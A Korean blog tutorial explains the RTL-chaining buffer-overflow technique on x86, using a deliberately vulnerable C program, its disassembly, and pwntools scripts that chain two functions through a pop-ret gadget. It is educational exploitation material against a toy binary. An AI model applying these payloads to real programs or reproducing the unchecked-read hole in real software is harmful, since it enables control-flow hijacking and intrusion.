RTL Chaning (x86)
1. RTL Chaning 이란?
RTL 공격에서 RET 주소를 변조하여 하나의 라이브러리 함수를 호출했다.
RTL Chaning 은 RTL 공격 기법을 응용하여 여러개의 라이브러리 함수를 호출하는 공격 기법이다.
2. 함수 호출 방법
1. 코드 확인
// Name : rtl_chaning.c
// Compile : gcc -m32 -mpreferred-stack-boundary=2 -fno-stack-protector -fno-pic -no-pie -o rtl_chaning rtl_chaning.c
#include <stdio.h>
void func1(int a) {
printf("func1 val1: %d\n", a);
}
void func2(int b) {
printf("fucn2 val2: %d\n", b);
}
int main(){
char buf[100];
read(0, buf, 200);
printf("%s\n", buf);
return 0;
}
read 함수에서 buf 크기 이상으로 값을 받아 BOF 가 발생한다.
RET 에 func1 함수의 주소를 넣으면 fucn1 함수가 호출된다.
Dump of assembler code for function main:
0x080491c2 <+0>: push ebp
0x080491c3 <+1>: mov ebp,esp
0x080491c5 <+3>: sub esp,0x64
0x080491c8 <+6>: push 0xc8
0x080491cd <+11>: lea eax,[ebp-0x64]
0x080491d0 <+14>: push eax
0x080491d1 <+15>: push 0x0
0x080491d3 <+17>: call 0x8049050 <read@plt>
0x080491d8 <+22>: add esp,0xc
0x080491db <+25>: lea eax,[ebp-0x64]
0x080491de <+28>: push eax
0x080491df <+29>: call 0x8049070 <puts@plt>
0x080491e4 <+34>: add esp,0x4
0x080491e7 <+37>: mov eax,0x0
0x080491ec <+42>: leave
0x080491ed <+43>: ret
End of assembler dump.
main 함수의 어셈블리이다.
buf는 0x64 인 것을 알 수 있다.
func1 함수의 주소는 0x08049196 이다.
func2 함수의 주소는 0x080491ac 이다.
2. 메모리 구조
RET 의 값을 func1 의 주소로 바꾸면 fucn1() 함수가 실행된다.
buf 와 SPF 의 크기인 0x68 (104) 만큼 dummy 값을 넣고
RET를 func1 의 주소 (0x08049196) 로 덮어씌우자
3. func1 호출
from pwn import *
p = process('./rtl_chaning')
func1 = 0x08049196
payload = b'A' * 0x68
payload += p32(func1)
### pause ###
pause()
p.send(payload)
p.interactive()
0x68 만큼 dummy 값을 보내고 fucn1 함수의 주소를 보내는 python 코드이다.
동적디버깅으로 func1 함수가 잘 호출되는지 확인해보자
값이 잘 들어간 것을 확인할 수 있다.
main 함수의 ret 에서 func1 로 넘어가는 것을 볼 수 있다.
main 함수의 ret 에서 스택을 확인해보면
RET 에 func1 의 주소 0x08049196 이 잘 들어간 것을 확인할 수 있다.
fucn1 의 ret 까지 이동한 후에는 어떤 주소로 이동하는지 확인해보자
0xffffd1d0 의 값 1 이 다음 주소로 들어가게 된다.
1은 어디서 온 값일까?
위에서 main 함수의 ret 를 호출할 때 스택을 보면 알 수 있다.
ret 를 func1 의 주소로 하고 다음 값을 보면 1 이 들어간 것을 볼 수 있다.
main 함수의 RET 바로 다음 값이 func1 에서 RET 가 수행되는 것이다.
그럼 RET 다음 값이 다시 RET 가 수행되니 func1 의 주소 값 다음 fucn2 의 주소값을 넣어보자
4. func2 호출
from pwn import *
p = process('./rtl_chaning')
func1 = 0x08049196
func2 = 0x080491ac
payload = b'A' * 0x68
payload += p32(func1)
payload += p32(func2)
### pause ###
pause()
p.send(payload)
p.interactive()
func1 함수 다음 func2 함수의 주소도 보내도록 추가한 코드이다.
func2 함수가 잘 호출되는지 확인해보자
func1 에서 ret 를 실행하기 전의 상태이다.
스택을 확인하면 func2 의 주소가 잘 들어간 것을 확인할 수 있다.
func2 함수로 잘 넘어온 것을 알 수 있다.
func2 의 ret 를 실행하기 전의 스택을 확인해보자
fucn2 의 ret 에는 0xffffd284 가 들어있는 것을 볼 수 있다.
0xffffd284 는 어디서 온 값일까?
main 함수에서 ret 를 호출하기 전의 스택을 다시 확인해보자
fucn2 다음 값인 0xffffd284 가 func2 의 ret 가 된 것을 알 수 있다.
3. 함수 인자값 확인
1. func1 인자
코드를 실행해보면
func1, func2 가 모두 실행된 것을 확인할 수 있다.
func1 에서 val1 값을 출력하고 있는데 -11644의 값은 어디서 가져온걸까?
fucn2 의 주소값 0x080491ac 다음 값(0xffffd264)이 val1 값으로 출력이 되고 있다.
0xffffd264 은 십진수로 -11644 이다.
스택 상태는 아래와 같다.
RET 에 func1 의 주소를 넣고 그 다음 func2 의 주소를 넣었다.
func1 에서는 인자를 func2 다음값 0xffffd284 를 출력했다.
결과적으로는 위와 같은 상태가 된다.
func1 의 인자는 ret + 0x8 의 위치에서 가져오게 되는 것을 알 수 있다.
그럼 func2 에는 인자를 어떻게 넣을까?
가젯을 이용하면 된다.
2. func2 인자
가젯은 ret 로 끝나는 어셈블리 코드 조각이다.
func1 이 끝나면 func2 가 실행된다.
func2 에 인자를 넣으려면 어떻게 해야할까?
func2 의 주소에 pop pop ret 명령어를 넣으면 가능하다.
가젯을 넣은 스택 상태는 아래와 같다.
main 함수의 ret 주소를 func1 로 덮어씌워 func1 을 호출한다.
이 때 ret+0x8 위치에서 func1 의 인자를 가져온다.
func1 에서 모든 과정이 끝난 후 func1 의 ret 가 pop ret 가젯을 가리키고 있다.
pop 이 실행되어 func1 의 인자가 빠지게 된다. (esp 값이 증가한다)
그 다음 ret 에 func2 의 주소가 들어간다.
func2 의 ret+0x8 위치에서 func2 의 인자를 가져온다.
함수의 인자를 여러개 가져오고 싶으면 pop pop ret 같이 함수의 인자 갯수만큼 pop 을 넣어주면 된다.
이런식으로 RTL 과정을 연결하는 것이 RTL Chaning 공격 기법이다.
4. RTL Chaning
1. 가젯 찾기
함수의 인자가 1개 이기 때문에 pop ret 가젯이 필요하다.
pop ret 가젯을 가져오자
pop ret 가젯의 주소는 0x8049022 이다.
2. payload 작성
위에서 작성한 페이로드에서 func1의 주소 다음 pop ret 가젯의 주소를 넣는다.
그 다음 func1 의 인자를 넣고 func2 의 주소를 호출한다.
func2 의 인자는 +0x8 의 위치에서 가져오므로 4bytes dummy 값을 넣고 func2 의 인자를 넣는다.
페이로드가 들어간 스택은 다음과 같다.
ret 에 원하는 라이브러리 함수를 넣는다
함수의 인자는 ret+0x8 의 위치에서 가져오므로 ret + dummy(4bytes) + 인자 의 순으로 들어간다.
dummy 에는 원하는 가젯을 넣어 함수의 인자를 추가로 넣을 수 있다.
from pwn import *
p = process('./rtl_chaning')
func1 = 0x08049196
func2 = 0x080491ac
pop_ret = 0x8049022
payload = b'A' * 0x68
payload += p32(func1)
payload += p32(pop_ret)
payload += b'BBBB' # func1 parameter
payload += p32(func2)
payload += b'A' * 0x4 # dummy
payload += b'BBBB' # func2 parameter
p.send(payload)
p.interactive()
python 으로 pwntools 코드를 짜고 실행하면
func1 과 func2 의 인자에 1111638594(0x42424242) 가 들어간 것을 확인할 수 있다.
위와 같은 방법으로 함수를 계속 연결해서 호출할 수 있다.
'Hacking > Pwnable' 카테고리의 다른 글
ROP (x86) (0) | 2024.08.16 |
---|---|
RTL Chaning (x64) (0) | 2024.07.27 |
RTL (Return To Library) (0) | 2024.07.17 |
RELRO (0) | 2024.07.15 |
GOT Overwrite (1) | 2024.06.30 |